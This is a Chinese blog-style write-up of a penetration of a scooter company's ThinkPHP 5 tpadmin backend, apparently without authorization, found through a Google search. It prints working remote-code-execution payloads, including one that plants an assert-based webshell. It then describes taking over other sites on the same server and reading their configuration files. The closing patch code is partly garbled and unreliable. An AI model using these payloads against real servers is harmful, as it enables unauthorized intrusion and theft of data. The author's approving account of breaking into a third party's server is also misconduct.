某智能出行网站渗透测试过程
2019-11-16 12:04:42 Author: xz.aliyun.com(查看原文) 阅读量:559 收藏

ThinkPHP 5 RCE tpadmin

[toc]

之前爆出了能利用ThinkPHP5 远程命令执行漏洞,没什么事情干,就简单的查看了下所涉及到的系统,发现tpadmin后台管理系统以及tpshop商城系统等所有基于ThinkPHP5开发的系统都不可避免的出现了这个远程命令执行漏洞。此漏洞的利用程度十分简单,但危害十分巨大。目前ThinkPHP5 官方已经更新并修复此漏洞了,但是基于ThinkPHP5的二次开发的系统仍然有一大部分没有修复漏洞,因此可以利用此漏洞获取服务器权限。

0x01 发现问题


通过Google搜索tpadmin后台的特征为inrul:/pub/login.html。我找到了一个基于thinkphp5开发的tpadmin后台管理系统,某平衡车网站的,http://xxx.com/admin/pub/index.php?m=1( <font color="red">声明:本文中出现的域名、IP等均被替换,并非真实存在,请勿测试</font> )。通过测试发现其存在ThinkPHP5 远程命令执行漏洞。

0x02 测试过程


从上图可以看见ThinkPHP5版本是5.0.7的,根据l3m0n的这篇ThinkPHP5 RCE漏洞分析,我们可以构造出显示phpinfo的payload:

POST /admin/pub/index.php?m=1 HTTP/1.1

_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1

上图可以看见,网站成功执行了我的phpinfo命令,于是我们更进一步,构造一个payload来获得网站服务器权限。

POST /admin/pub/index.php?m=assert($_POST[1]) HTTP/1.1

<O>_method=__construct&filter[]=assert&method=get&server[REQUEST_METHOD]</O>

配置、连上菜刀看看,发现该服务器下部署了多个网站,其中主站也在其中。

我们可以看到,直接放访问主站成功,说明主站权限也被获取了。

在主站中,能获取到大量敏感信息和配置文件等,例如:/ThinkPHP/Conf/convention.php文件:

0x03 修复方案


由于这个漏洞的形成原因在于控制器过滤不严导致远程命令执行,所以修复方法的话,就直接在在think\App类的module方法的获取控制器的代码后面加上

if (!preg_match(‘/^[A-Za-z](\w|\.)*$/’, $controller)) {

throw new HttpException(404, ‘controller not exists:’ . $controller);}

如果改完后404,尝试修改正则,加上\/

if (!preg_match(‘/^A-Za-z\/*/’, controller)) {

0x04 参考文章



文章来源: http://xz.aliyun.com/t/6744
如有侵权请联系:admin#unsafe.sh